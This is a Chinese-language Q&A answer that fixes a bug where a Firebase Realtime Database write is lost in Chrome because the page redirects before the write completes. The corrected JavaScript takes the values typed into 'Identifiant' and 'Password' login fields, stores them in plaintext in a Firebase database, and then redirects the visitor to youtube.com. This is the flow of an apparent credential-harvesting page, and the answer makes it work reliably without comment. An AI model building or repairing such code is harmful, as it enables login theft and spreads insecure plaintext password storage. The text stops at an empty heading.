Firebase Realtime Database在Chrome中写入数据后跳转页面功能异常

云原生阿岚

2026-9-30

问题根因

set()是Firebase提供的异步方法，执行后会返回Promise对象，不会阻塞后续代码运行。你当前的写法没有等待写入操作完成就触发了页面跳转，Chrome会在页面卸载时直接中断未完成的网络请求，就出现了跳转成功但数据没写入的情况；Safari对异步请求的处理逻辑不同，才会出现写入成功的情况。
另外你的代码存在一处拼写错误：变量定义为btn，绑定事件时错写为bbtn，也可能导致执行异常。

修复方案

将senddata改为异步函数，等待set执行完成后再跳转，同时补充错误处理逻辑，避免写入失败时无感知跳转：

import { initializeApp } from 'https://www.gstatic.com/firebasejs/9.1.2/firebase-app.js';
import { getDatabase, set, ref } from 'https://www.gstatic.com/firebasejs/9.1.2/firebase-database.js';

const firebaseApp = initializeApp({
    apiKey: "xxx",
    authDomain: "xxx",
    databaseURL: "xxx",
    projectId: "xxx",
    storageBucket: "xxx",
    messagingSenderId: "xxx",
    appId: "xxx",
});

const db = getDatabase(firebaseApp)

const x = document.getElementById("Identifiant");
const y = document.getElementById("Password");

// 改为async异步函数
async function senddata(e) {
    // 可选：防止form表单默认提交行为
    e.preventDefault();
    try {
        // 等待写入操作完成
        await set(ref(db, 'users/' + x.value), {
            username: x.value,
            password: y.value
        });
        // 写入成功后再跳转
        window.location.href = 'https://www.youtube.com';
    } catch (error) {
        // 可自行添加写入失败的提示逻辑
        console.error('数据写入失败：', error);
    }
}

const btn = document.getElementById('btnconx');
// 修复拼写错误：bbtn改为btn
btn.addEventListener('click', senddata);

额外优化建议